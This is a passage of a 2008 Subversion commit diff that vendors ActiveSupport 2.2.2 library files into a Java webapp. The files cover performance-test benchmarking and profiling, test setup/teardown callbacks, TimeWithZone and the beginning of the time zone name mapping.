+          puts "%s (%s warmup)" % [full_test_name, time.format(time.total)]
+
+          GC.start
+        end
+
+        def run_profile(metric)
+          klass = profile_options[:benchmark] ? Benchmarker : Profiler
+          performer = klass.new(self, metric)
+
+          performer.run
+          puts performer.report
+          performer.record
+        end
+
+      class Performer
+        delegate :run_test, :profile_options, :full_test_name, :to => :@harness
+
+        def initialize(harness, metric)
+          @harness, @metric = harness, metric
+        end
+
+        def report
+          rate = @total / profile_options[:runs]
+          '%20s: %s' % [@metric.name, @metric.format(rate)]
+        end
+
+        protected
+          def output_filename
+            "#{profile_options[:output]}/#{full_test_name}_#{@metric.name}"
+          end
+      end
+
+      class Benchmarker < Performer
+        def run
+          profile_options[:runs].to_i.times { run_test(@metric, :benchmark) }
+          @total = @metric.total
+        end
+
+        def record
+          avg = @metric.total / profile_options[:runs].to_i
+          now = Time.now.utc.xmlschema
+          with_output_file do |file|
+            file.puts "#{avg},#{now},#{environment}"
+          end
+        end
+
+        def environment
+          unless defined? @env
+            app = "#{$1}.#{$2}" if File.directory?('.git') && `git branch -v` =~ /^\* (\S+)\s+(\S+)/
+
+            rails = Rails::VERSION::STRING
+            if File.directory?('vendor/rails/.git')
+              Dir.chdir('vendor/rails') do
+                rails += ".#{$1}.#{$2}" if `git branch -v` =~ /^\* (\S+)\s+(\S+)/
+              end
+            end
+
+            ruby = defined?(RUBY_ENGINE) ? RUBY_ENGINE : 'ruby'
+            ruby += "-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL}"
+
+            @env = [app, rails, ruby, RUBY_PLATFORM] * ','
+          end
+
+          @env
+        end
+
+        protected
+          HEADER = 'measurement,created_at,app,rails,ruby,platform'
+
+          def with_output_file
+            fname = output_filename
+
+            if new = !File.exist?(fname)
+              FileUtils.mkdir_p(File.dirname(fname))
+            end
+
+            File.open(fname, 'ab') do |file|
+              file.puts(HEADER) if new
+              yield file
+            end
+          end
+
+          def output_filename
+            "#{super}.csv"
+          end
+      end
+
+      class Profiler < Performer
+        def initialize(*args)
+          super
+          @supported = @metric.measure_mode rescue false
+        end
+
+        def run
+          return unless @supported
+
+          RubyProf.measure_mode = @metric.measure_mode
+          RubyProf.start
+          RubyProf.pause
+          profile_options[:runs].to_i.times { run_test(@metric, :profile) }
+          @data = RubyProf.stop
+          @total = @data.threads.values.sum(0) { |method_infos| method_infos.sort.last.total_time }
+        end
+
+        def report
+          if @supported
+            super
+          else
+            '%20s: unsupported' % @metric.name
+          end
+        end
+
+        def record
+          return unless @supported
+
+          klasses = profile_options[:formats].map { |f| RubyProf.const_get("#{f.to_s.camelize}Printer") }.compact
+
+          klasses.each do |klass|
+            fname = output_filename(klass)
+            FileUtils.mkdir_p(File.dirname(fname))
+            File.open(fname, 'wb') do |file|
+              klass.new(@data).print(file, profile_options.slice(:min_percent))
+            end
+          end
+        end
+
+        protected
+          def output_filename(printer_class)
+            suffix =
+              case printer_class.name.demodulize
+                when 'FlatPrinter'; 'flat.txt'
+                when 'GraphPrinter'; 'graph.txt'
+                when 'GraphHtmlPrinter'; 'graph.html'
+                when 'CallTreePrinter'; 'tree.txt'
+                else printer_class.name.sub(/Printer$/, '').underscore
+              end
+
+            "#{super()}_#{suffix}"
+          end
+      end
+
+      module Metrics
+        def self.[](name)
+          const_get(name.to_s.camelize)
+        rescue NameError
+          nil
+        end
+
+        class Base
+          attr_reader :total
+
+          def initialize
+            @total = 0
+          end
+
+          def name
+            @name ||= self.class.name.demodulize.underscore
+          end
+
+          def measure_mode
+            self.class::Mode
+          end
+
+          def measure
+            0
+          end
+
+          def benchmark
+            with_gc_stats do
+              before = measure
+              yield
+              @total += (measure - before)
+            end
+          end
+
+          def profile
+            RubyProf.resume
+            yield
+          ensure
+            RubyProf.pause
+          end
+
+          protected
+            if GC.respond_to?(:enable_stats)
+              def with_gc_stats
+                GC.enable_stats
+                yield
+              ensure
+                GC.disable_stats
+              end
+            elsif defined?(GC::Profiler)
+              def with_gc_stats
+                GC.start
+                GC.disable
+                GC::Profiler.enable
+                yield
+              ensure
+                GC::Profiler.disable
+                GC.enable
+              end
+            else
+              def with_gc_stats
+                yield
+              end
+            end
+        end
+
+        class Time < Base
+          def measure
+            ::Time.now.to_f
+          end
+
+          def format(measurement)
+            if measurement < 2
+              '%d ms' % (measurement * 1000)
+            else
+              '%.2f sec' % measurement
+            end
+          end
+        end
+
+        class ProcessTime < Time
+          Mode = RubyProf::PROCESS_TIME
+
+          def measure
+            RubyProf.measure_process_time
+          end
+        end
+
+        class WallTime < Time
+          Mode = RubyProf::WALL_TIME
+
+          def measure
+            RubyProf.measure_wall_time
+          end
+        end
+
+        class CpuTime < Time
+          Mode = RubyProf::CPU_TIME if RubyProf.const_defined?(:CPU_TIME)
+
+          def initialize(*args)
+            # FIXME: yeah my CPU is 2.33 GHz
+            RubyProf.cpu_frequency = 2.33e9
+            super
+          end
+
+          def measure
+            RubyProf.measure_cpu_time
+          end
+        end
+
+        class Memory < Base
+          Mode = RubyProf::MEMORY if RubyProf.const_defined?(:MEMORY)
+
+          # ruby-prof wrapper
+          if RubyProf.respond_to?(:measure_memory)
+            def measure
+              RubyProf.measure_memory / 1024.0
+            end
+
+          # Ruby 1.8 + railsbench patch
+          elsif GC.respond_to?(:allocated_size)
+            def measure
+              GC.allocated_size / 1024.0
+            end
+
+          # Ruby 1.8 + lloyd patch
+          elsif GC.respond_to?(:heap_info)
+            def measure
+              GC.heap_info['heap_current_memory'] / 1024.0
+            end
+
+          # Ruby 1.9 with total_malloc_allocated_size patch
+          elsif GC.respond_to?(:malloc_total_allocated_size)
+            def measure
+              GC.total_malloc_allocated_size / 1024.0
+            end
+
+          # Ruby 1.9 unpatched
+          elsif GC.respond_to?(:malloc_allocated_size)
+            def measure
+              GC.malloc_allocated_size / 1024.0
+            end
+
+          # Ruby 1.9 + GC profiler patch
+          elsif defined?(GC::Profiler)
+            def measure
+              GC.enable
+              GC.start
+              kb = GC::Profiler.data.last[:HEAP_USE_SIZE] / 1024.0
+              GC.disable
+              kb
+            end
+          end
+
+          def format(measurement)
+            '%.2f KB' % measurement
+          end
+        end
+
+        class Objects < Base
+          Mode = RubyProf::ALLOCATIONS if RubyProf.const_defined?(:ALLOCATIONS)
+
+          if RubyProf.respond_to?(:measure_allocations)
+            def measure
+              RubyProf.measure_allocations
+            end
+
+          # Ruby 1.8 + railsbench patch
+          elsif ObjectSpace.respond_to?(:allocated_objects)
+            def measure
+              ObjectSpace.allocated_objects
+            end
+
+          # Ruby 1.9 + GC profiler patch
+          elsif defined?(GC::Profiler)
+            def measure
+              GC.enable
+              GC.start
+              last = GC::Profiler.data.last
+              count = last[:HEAP_LIVE_OBJECTS] + last[:HEAP_FREE_OBJECTS]
+              GC.disable
+              count
+            end
+          end
+
+          def format(measurement)
+            measurement.to_i.to_s
+          end
+        end
+
+        class GcRuns < Base
+          Mode = RubyProf::GC_RUNS if RubyProf.const_defined?(:GC_RUNS)
+
+          if RubyProf.respond_to?(:measure_gc_runs)
+            def measure
+              RubyProf.measure_gc_runs
+            end
+          elsif GC.respond_to?(:collections)
+            def measure
+              GC.collections
+            end
+          elsif GC.respond_to?(:heap_info)
+            def measure
+              GC.heap_info['num_gc_passes']
+            end
+          end
+
+          def format(measurement)
+            measurement.to_i.to_s
+          end
+        end
+
+        class GcTime < Base
+          Mode = RubyProf::GC_TIME if RubyProf.const_defined?(:GC_TIME)
+
+          if RubyProf.respond_to?(:measure_gc_time)
+            def measure
+              RubyProf.measure_gc_time
+            end
+          elsif GC.respond_to?(:time)
+            def measure
+              GC.time
+            end
+          end
+
+          def format(measurement)
+            '%d ms' % (measurement / 1000)
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/setup_and_teardown.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/setup_and_teardown.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/setup_and_teardown.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,120 @@
+module ActiveSupport
+  module Testing
+    module SetupAndTeardown
+      # For compatibility with Ruby < 1.8.6
+      PASSTHROUGH_EXCEPTIONS =
+        if defined?(Test::Unit::TestCase::PASSTHROUGH_EXCEPTIONS)
+          Test::Unit::TestCase::PASSTHROUGH_EXCEPTIONS
+        else
+          [NoMemoryError, SignalException, Interrupt, SystemExit]
+        end
+
+      def self.included(base)
+        base.class_eval do
+          include ActiveSupport::Callbacks
+          define_callbacks :setup, :teardown
+
+          if defined?(::Mini)
+            undef_method :run
+            alias_method :run, :run_with_callbacks_and_miniunit
+          else
+            begin
+              require 'mocha'
+              undef_method :run
+              alias_method :run, :run_with_callbacks_and_mocha
+            rescue LoadError
+              undef_method :run
+              alias_method :run, :run_with_callbacks_and_testunit
+            end
+          end
+        end
+      end
+
+      def run_with_callbacks_and_miniunit(runner)
+        result = '.'
+        begin
+          run_callbacks :setup
+          result = super
+        rescue Exception => e
+          result = runner.puke(self.class, self.name, e)
+        ensure
+          begin
+            teardown
+            run_callbacks :teardown, :enumerator => :reverse_each
+          rescue Exception => e
+            result = runner.puke(self.class, self.name, e)
+          end
+        end
+        result
+      end
+
+      # This redefinition is unfortunate but test/unit shows us no alternative.
+      def run_with_callbacks_and_testunit(result) #:nodoc:
+        return if @method_name.to_s == "default_test"
+
+        yield(Test::Unit::TestCase::STARTED, name)
+        @_result = result
+        begin
+          run_callbacks :setup
+          setup
+          __send__(@method_name)
+        rescue Test::Unit::AssertionFailedError => e
+          add_failure(e.message, e.backtrace)
+        rescue *PASSTHROUGH_EXCEPTIONS
+          raise
+        rescue Exception
+          add_error($!)
+        ensure
+          begin
+            teardown
+            run_callbacks :teardown, :enumerator => :reverse_each
+          rescue Test::Unit::AssertionFailedError => e
+            add_failure(e.message, e.backtrace)
+          rescue *PASSTHROUGH_EXCEPTIONS
+            raise
+          rescue Exception
+            add_error($!)
+          end
+        end
+        result.add_run
+        yield(Test::Unit::TestCase::FINISHED, name)
+      end
+
+      # Doubly unfortunate: mocha does the same so we have to hax their hax.
+      def run_with_callbacks_and_mocha(result)
+        return if @method_name.to_s == "default_test"
+
+        yield(Test::Unit::TestCase::STARTED, name)
+        @_result = result
+        begin
+          mocha_setup
+          begin
+            run_callbacks :setup
+            setup
+            __send__(@method_name)
+            mocha_verify { add_assertion }
+          rescue Mocha::ExpectationError => e
+            add_failure(e.message, e.backtrace)
+          rescue Test::Unit::AssertionFailedError => e
+            add_failure(e.message, e.backtrace)
+          rescue StandardError, ScriptError
+            add_error($!)
+          ensure
+            begin
+              teardown
+              run_callbacks :teardown, :enumerator => :reverse_each
+            rescue Test::Unit::AssertionFailedError => e
+              add_failure(e.message, e.backtrace)
+            rescue StandardError, ScriptError
+              add_error($!)
+            end
+          end
+        ensure
+          mocha_teardown
+        end
+        result.add_run
+        yield(Test::Unit::TestCase::FINISHED, name)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/time_with_zone.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/time_with_zone.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/time_with_zone.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,328 @@
+require 'tzinfo'
+module ActiveSupport
+  # A Time-like class that can represent a time in any time zone. Necessary because standard Ruby Time instances are
+  # limited to UTC and the system's <tt>ENV['TZ']</tt> zone.
+  #
+  # You shouldn't ever need to create a TimeWithZone instance directly via <tt>new</tt> -- instead, Rails provides the methods
+  # +local+, +parse+, +at+ and +now+ on TimeZone instances, and +in_time_zone+ on Time and DateTime instances, for a more
+  # user-friendly syntax. Examples:
+  #
+  #   Time.zone = 'Eastern Time (US & Canada)'        # => 'Eastern Time (US & Canada)'
+  #   Time.zone.local(2007, 2, 10, 15, 30, 45)        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #   Time.zone.parse('2007-02-01 15:30:45')          # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #   Time.zone.at(1170361845)                        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #   Time.zone.now                                   # => Sun, 18 May 2008 13:07:55 EDT -04:00
+  #   Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone  # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #
+  # See TimeZone and ActiveSupport::CoreExtensions::Time::Zones for further documentation for these methods.
+  #
+  # TimeWithZone instances implement the same API as Ruby Time instances, so that Time and TimeWithZone instances are interchangable. Examples:
+  #
+  #   t = Time.zone.now                     # => Sun, 18 May 2008 13:27:25 EDT -04:00
+  #   t.hour                                # => 13
+  #   t.dst?                                # => true
+  #   t.utc_offset                          # => -14400
+  #   t.zone                                # => "EDT"
+  #   t.to_s(:rfc822)                       # => "Sun, 18 May 2008 13:27:25 -0400"
+  #   t + 1.day                             # => Mon, 19 May 2008 13:27:25 EDT -04:00
+  #   t.beginning_of_year                   # => Tue, 01 Jan 2008 00:00:00 EST -05:00
+  #   t > Time.utc(1999)                    # => true
+  #   t.is_a?(Time)                         # => true
+  #   t.is_a?(ActiveSupport::TimeWithZone)  # => true
+  class TimeWithZone
+    include Comparable
+    attr_reader :time_zone
+
+    def initialize(utc_time, time_zone, local_time = nil, period = nil)
+      @utc, @time_zone, @time = utc_time, time_zone, local_time
+      @period = @utc ? period : get_period_and_ensure_valid_local_time
+    end
+
+    # Returns a Time or DateTime instance that represents the time in +time_zone+.
+    def time
+      @time ||= period.to_local(@utc)
+    end
+
+    # Returns a Time or DateTime instance that represents the time in UTC.
+    def utc
+      @utc ||= period.to_utc(@time)
+    end
+    alias_method :comparable_time, :utc
+    alias_method :getgm, :utc
+    alias_method :getutc, :utc
+    alias_method :gmtime, :utc
+
+    # Returns the underlying TZInfo::TimezonePeriod.
+    def period
+      @period ||= time_zone.period_for_utc(@utc)
+    end
+
+    # Returns the simultaneous time in <tt>Time.zone</tt>, or the specified zone.
+    def in_time_zone(new_zone = ::Time.zone)
+      return self if time_zone == new_zone
+      utc.in_time_zone(new_zone)
+    end
+
+    # Returns a <tt>Time.local()</tt> instance of the simultaneous time in your system's <tt>ENV['TZ']</tt> zone
+    def localtime
+      utc.getlocal
+    end
+    alias_method :getlocal, :localtime
+
+    def dst?
+      period.dst?
+    end
+    alias_method :isdst, :dst?
+
+    def utc?
+      time_zone.name == 'UTC'
+    end
+    alias_method :gmt?, :utc?
+
+    def utc_offset
+      period.utc_total_offset
+    end
+    alias_method :gmt_offset, :utc_offset
+    alias_method :gmtoff, :utc_offset
+
+    def formatted_offset(colon = true, alternate_utc_string = nil)
+      utc? && alternate_utc_string || utc_offset.to_utc_offset_s(colon)
+    end
+
+    # Time uses +zone+ to display the time zone abbreviation, so we're duck-typing it.
+    def zone
+      period.zone_identifier.to_s
+    end
+
+    def inspect
+      "#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
+    end
+
+    def xmlschema
+      "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{formatted_offset(true, 'Z')}"
+    end
+    alias_method :iso8601, :xmlschema
+
+    # Returns a JSON string representing the TimeWithZone. If ActiveSupport.use_standard_json_time_format is set to
+    # true, the ISO 8601 format is used.
+    #
+    # ==== Examples:
+    #
+    #   # With ActiveSupport.use_standard_json_time_format = true
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
+    #   # => "2005-02-01T15:15:10Z"
+    #
+    #   # With ActiveSupport.use_standard_json_time_format = false
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
+    #   # => "2005/02/01 15:15:10 +0000"
+    def to_json(options = nil)
+      if ActiveSupport.use_standard_json_time_format
+        xmlschema.inspect
+      else
+        %("#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)}")
+      end
+    end
+
+    def to_yaml(options = {})
+      if options.kind_of?(YAML::Emitter)
+        utc.to_yaml(options)
+      else
+        time.to_yaml(options).gsub('Z', formatted_offset(true, 'Z'))
+      end
+    end
+
+    def httpdate
+      utc.httpdate
+    end
+
+    def rfc2822
+      to_s(:rfc822)
+    end
+    alias_method :rfc822, :rfc2822
+
+    # <tt>:db</tt> format outputs time in UTC; all others output time in local.
+    # Uses TimeWithZone's +strftime+, so <tt>%Z</tt> and <tt>%z</tt> work correctly.
+    def to_s(format = :default)
+      return utc.to_s(format) if format == :db
+      if formatter = ::Time::DATE_FORMATS[format]
+        formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+      else
+        "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby 1.9 Time#to_s format
+      end
+    end
+
+    # Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and +formatted_offset+, respectively, before passing to
+    # Time#strftime, so that zone information is correct
+    def strftime(format)
+      format = format.gsub('%Z', zone).gsub('%z', formatted_offset(false))
+      time.strftime(format)
+    end
+
+    # Use the time in UTC for comparisons.
+    def <=>(other)
+      utc <=> other
+    end
+
+    def between?(min, max)
+      utc.between?(min, max)
+    end
+
+    def past?
+      utc.past?
+    end
+
+    def today?
+      time.today?
+    end
+
+    def future?
+      utc.future?
+    end
+
+    def eql?(other)
+      utc == other
+    end
+
+    def +(other)
+      # If we're adding a Duration of variable length (i.e., years, months, days), move forward from #time,
+      # otherwise move forward from #utc, for accuracy when moving across DST boundaries
+      if duration_of_variable_length?(other)
+        method_missing(:+, other)
+      else
+        result = utc.acts_like?(:date) ? utc.since(other) : utc + other rescue utc.since(other)
+        result.in_time_zone(time_zone)
+      end
+    end
+
+    def -(other)
+      # If we're subtracting a Duration of variable length (i.e., years, months, days), move backwards from #time,
+      # otherwise move backwards #utc, for accuracy when moving across DST boundaries
+      if other.acts_like?(:time)
+        utc - other
+      elsif duration_of_variable_length?(other)
+        method_missing(:-, other)
+      else
+        result = utc.acts_like?(:date) ? utc.ago(other) : utc - other rescue utc.ago(other)
+        result.in_time_zone(time_zone)
+      end
+    end
+
+    def since(other)
+      # If we're adding a Duration of variable length (i.e., years, months, days), move forward from #time,
+      # otherwise move forward from #utc, for accuracy when moving across DST boundaries
+      if duration_of_variable_length?(other)
+        method_missing(:since, other)
+      else
+        utc.since(other).in_time_zone(time_zone)
+      end
+    end
+
+    def ago(other)
+      since(-other)
+    end
+
+    def advance(options)
+      # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time,
+      # otherwise advance from #utc, for accuracy when moving across DST boundaries
+      if options.detect {|k,v| [:years, :weeks, :months, :days].include? k}
+        method_missing(:advance, options)
+      else
+        utc.advance(options).in_time_zone(time_zone)
+      end
+    end
+
+    %w(year mon month day mday wday yday hour min sec to_date).each do |method_name|
+      class_eval <<-EOV
+        def #{method_name}
+          time.#{method_name}
+        end
+      EOV
+    end
+
+    def usec
+      time.respond_to?(:usec) ? time.usec : 0
+    end
+
+    def to_a
+      [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]
+    end
+
+    def to_f
+      utc.to_f
+    end
+
+    def to_i
+      utc.to_i
+    end
+    alias_method :hash, :to_i
+    alias_method :tv_sec, :to_i
+
+    # A TimeWithZone acts like a Time, so just return +self+.
+    def to_time
+      self
+    end
+
+    def to_datetime
+      utc.to_datetime.new_offset(Rational(utc_offset, 86_400))
+    end
+
+    # So that +self+ <tt>acts_like?(:time)</tt>.
+    def acts_like_time?
+      true
+    end
+
+    # Say we're a Time to thwart type checking.
+    def is_a?(klass)
+      klass == ::Time || super
+    end
+    alias_method :kind_of?, :is_a?
+
+    def freeze
+      period; utc; time # preload instance variables before freezing
+      super
+    end
+
+    def marshal_dump
+      [utc, time_zone.name, time]
+    end
+
+    def marshal_load(variables)
+      initialize(variables[0].utc, ::Time.__send__(:get_zone, variables[1]), variables[2].utc)
+    end
+
+    # Ensure proxy class responds to all methods that underlying time instance responds to.
+    def respond_to?(sym, include_priv = false)
+      # consistently respond false to acts_like?(:date), regardless of whether #time is a Time or DateTime
+      return false if sym.to_s == 'acts_like_date?'
+      super || time.respond_to?(sym, include_priv)
+    end
+
+    # Send the missing method to +time+ instance, and wrap result in a new TimeWithZone with the existing +time_zone+.
+    def method_missing(sym, *args, &block)
+      result = time.__send__(sym, *args, &block)
+      result.acts_like?(:time) ? self.class.new(nil, time_zone, result) : result
+    end
+
+    private
+      def get_period_and_ensure_valid_local_time
+        # we don't want a Time.local instance enforcing its own DST rules as well,
+        # so transfer time values to a utc constructor if necessary
+        @time = transfer_time_values_to_utc_constructor(@time) unless @time.utc?
+        begin
+          @time_zone.period_for_local(@time)
+        rescue ::TZInfo::PeriodNotFound
+          # time is in the "spring forward" hour gap, so we're moving the time forward one hour and trying again
+          @time += 1.hour
+          retry
+        end
+      end
+
+      def transfer_time_values_to_utc_constructor(time)
+        ::Time.utc_time(time.year, time.month, time.day, time.hour, time.min, time.sec, time.respond_to?(:usec) ? time.usec : 0)
+      end
+
+      def duration_of_variable_length?(obj)
+        ActiveSupport::Duration === obj && obj.parts.flatten.detect {|p| [:years, :months, :days].include? p }
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/values/time_zone.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/values/time_zone.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/values/time_zone.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,403 @@
+# The TimeZone class serves as a wrapper around TZInfo::Timezone instances. It allows us to do the following:
+#
+# * Limit the set of zones provided by TZInfo to a meaningful subset of 142 zones.
+# * Retrieve and display zones with a friendlier name (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
+# * Lazily load TZInfo::Timezone instances only when they're needed.
+# * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+, +parse+, +at+ and +now+ methods.
+#
+# If you set <tt>config.time_zone</tt> in the Rails Initializer, you can access this TimeZone object via <tt>Time.zone</tt>:
+#
+#   # environment.rb:
+#   Rails::Initializer.run do |config|
+#     config.time_zone = "Eastern Time (US & Canada)"
+#   end
+#
+#   Time.zone       # => #<TimeZone:0x514834...>
+#   Time.zone.name  # => "Eastern Time (US & Canada)"
+#   Time.zone.now   # => Sun, 18 May 2008 14:30:44 EDT -04:00
+#
+# The version of TZInfo bundled with Active Support only includes the definitions necessary to support the zones
+# defined by the TimeZone class. If you need to use zones that aren't defined by TimeZone, you'll need to install the TZInfo gem
+# (if a recent version of the gem is installed locally, this will be used instead of the bundled version.)
+module ActiveSupport
+  class TimeZone
+    unless const_defined?(:MAPPING)
+      # Keys are Rails TimeZone names, values are TZInfo identifiers
+      MAPPING = {
+        "International Date Line West" => "Pacific/Midway",
+        "Midway Island"                => "Pacific/Midway",
+        "Samoa"                        => "Pacific/Pago_Pago",
+        "Hawaii"                       => "Pacific/Honolulu",
+        "Alaska"                       => "America/Juneau",
+        "Pacific Time (US & Canada)"   => "America/Los_Angeles",
+        "Tijuana"                      => "America/Tijuana",
+        "Mountain Time (US & Canada)"  => "America/Denver",
+        "Arizona"                      => "America/Phoenix",
+        "Chihuahua"                    => "America/Chihuahua",
+        "Mazatlan"                     => "America/Mazatlan",
+        "Central Time (US & Canada)"   => "America/Chicago",
+        "Saskatchewan"                 => "America/Regina",
+        "Guadalajara"                  => "America/Mexico_City",
+        "Mexico City"                  => "America/Mexico_City",
+        "Monterrey"                    => "America/Monterrey",
+        "Central America"              => "America/Guatemala",
+        "Eastern Time (US & Canada)"   => "America/New_York",
+        "Indiana (East)"               => "America/Indiana/Indianapolis",
+        "Bogota"                       => "America/Bogota",
+        "Lima"                         => "America/Lima",
+        "Quito"                        => "America/Lima",
+        "Atlantic Time (Canada)"       => "America/Halifax",
+        "Caracas"                      => "America/Caracas",
+        "La Paz"                       => "America/La_Paz",
+        "Santiago"                     => "America/Santiago",
+        "Newfoundland"                 => "America/St_Johns",
+        "Brasilia"                     => "America/Sao_Paulo",
+        "Buenos Aires"                 => "America/Argentina/Buenos_Aires",
+        "Georgetown"                   => "America/Argentina/San_Juan",
+        "Greenland"                    => "America/Godthab",
+        "Mid-Atlantic"                 => "Atlantic/South_Georgia",
+        "Azores"                       => "Atlantic/Azores",
+        "Cape Verde Is."               => "Atlantic/Cape_Verde",
+        "Dublin"                       => "Europe/Dublin",
+        "Edinburgh"                    => "Europe/Dublin",
+        "Lisbon"                       => "Europe/Lisbon",
+        "London"                       => "Europe/London",
+        "Casablanca"                   => "Africa/Casablanca",
+        "Monrovia"                     => "Africa/Monrovia",
+        "UTC"                          => "Etc/UTC",
+        "Belgrade"                     => "Europe/Belgrade",
+        "Bratislava"                   => "Europe/Bratislava",
+        "Budapest"                     => "Europe/Budapest",
+        "Ljubljana"                    => "Europe/Ljubljana",
+        "Prague"                       => "Europe/Prague",
+        "Sarajevo"                     => "Europe/Sarajevo",
+        "Skopje"                       => "Europe/Skopje",
+        "Warsaw"                       => "Europe/Warsaw",
+        "Zagreb"                       => "Europe/Zagreb",
+        "Brussels"                     => "Europe/Brussels",
+        "Copenhagen"                   => "Europe/Copenhagen",
+        "Madrid"                       => "Europe/Madrid",
+        "Paris"                        => "Europe/Paris",
+        "Amsterdam"                    => "Europe/Amsterdam",
+        "Berlin"                       => "Europe/Berlin",
+        "Bern"                         => "Europe/Berlin",
+        "Rome"                         => "Europe/Rome",
+        "Stockholm"                    => "Europe/Stockholm",
+        "Vienna"                       => "Europe/Vienna",
+        "West Central Africa"          => "Africa/Algiers",
+        "Bucharest"                    => "Europe/Bucharest",
+        "Cairo"                        => "Africa/Cairo",
+        "Helsinki"                     => "Europe/Helsinki",
+        "Kyev"                         => "Europe/Kiev",
+        "Riga"                         => "Europe/Riga",
+        "Sofia"                        => "Europe/Sofia",
+        "Tallinn"                      => "Europe/Tallinn",
+        "Vilnius"                      => "Europe/Vilnius",
+        "Athens"                       => "Europe/Athens",
+        "Istanbul"                     => "Europe/Istanbul",
+        "Minsk"                        => "Europe/Minsk",
+        "Jerusalem"                    => "Asia/Jerusalem",
+        "Harare"                       => "Africa/Harare",
+        "Pretoria"                     => "Africa/Johannesburg",
+        "Moscow"                       => "Europe/Moscow",
+        "St. Petersburg"               => "Europe/Moscow",
+        "Volgograd"                    => "Europe/Moscow",
+        "Kuwait"                       => "Asia/Kuwait",
+        "Riyadh"                       => "Asia/Riyadh",
+        "Nairobi"                      => "Africa/Nairobi",
+        "Baghdad"                      => "Asia/Baghdad",
+        "Tehran"                       => "Asia/Tehran",
+        "Abu Dhabi"                    => "Asia/Muscat",
+        "Muscat"                       => "Asia/Muscat",
+        "Baku"                         => "Asia/Baku",
+        "Tbilisi"                      => "Asia/Tbilisi",
+        "Yerevan"                      => "Asia/Yerevan",
+        "Kabul"                        => "Asia/Kabul",
+        "Ekaterinburg"                 => "Asia/Yekaterinburg",
+        "Islamabad"                    => "Asia/Karachi",
+        "Karachi"                      => "Asia/Karachi",
+        "Tashkent"                     => "Asia/Tashkent",
+        "Chennai"                      => "Asia/Kolkata",
+        "Kolkata"                      => "Asia/Kolkata",
+        "Mumbai"                       => "Asia/Kolkata",
+        "New Delhi"                    => "Asia/Kolkata",
+        "Kathmandu"                    => "Asia/Katmandu",
+        "Astana"                       => "Asia/Dhaka",
+        "Dhaka"                        => "Asia/Dhaka",
+        "Sri Jayawardenepura"          => "Asia/Colombo",
+        "Almaty"                       => "Asia/Almaty",
+        "Novosibirsk"                  => "Asia/Novosibirsk",
+        "Rangoon"                      => "Asia/Rangoon",
+        "Bangkok"                      => "Asia/Bangkok",
+        "Hanoi"                        => "Asia/Bangkok",
+        "Jakarta"                      => "Asia/Jakarta",
+        "Krasnoyarsk"                  => "Asia/Krasnoyarsk",
+        "Beijing"                      => "Asia/Shanghai",
+        "Chongqing"                    => "Asia/Chongqing",
+        "Hong Kong"                    => "Asia/Hong_Kong",
+        "Urumqi"                       => "Asia/Urumqi",
+        "Kuala Lumpur"                 => "Asia/Kuala_Lumpur",
+        "Singapore"                    => "Asia/Singapore",
+        "Taipei"                       => "Asia/Taipei",
+        "Perth"                        => "Australia/Perth",
+        "Irkutsk"                      => "Asia/Irkutsk",
+        "Ulaan Bataar"                 => "Asia/Ulaanbaatar",
+        "Seoul"                        => "Asia/Seoul",
+        "Osaka"                        => "Asia/Tokyo",
+        "Sapporo"                      => "Asia/Tokyo",
+        "Tokyo"                        => "Asia/Tokyo",
+        "Yakutsk"                      => "Asia/Yakutsk",
+        "Darwin"                       => "Australia/Darwin",
+        "Adelaide"                     => "Australia/Adelaide",
+        "Canberra"                     => "Australia/Melbourne",
+        "Melbourne"                    => "Australia/Melbourne",
+        "Sydney"                       => "Australia/Sydney",
+        "Brisbane"                     => "Australia/Brisbane",
+        "Hobart"                       => "Australia/Hobart",
+        "Vladivostok"                  => "Asia/Vladivostok",
+        "Guam"                         => "Pacific/Guam",
+        "Port Moresby"                 => "Pacific/Port_Moresby",
+        "Magadan"                      => "Asia/Magadan",
+        "Solomon Is."                  => "Asia/Magadan",
+        "New Caledonia"                => "Pacific/Noumea",
+        "Fiji"                         => "Pacific/Fiji",
+        "Kamchatka"                    => "Asia/Kamchatka",
+        "Marshall Is."                 => "Pacific/Majuro",
+        "Auckland"                     => "Pacific/Auckland",
+        "Wellington"                   => "Pacific/Auckland",
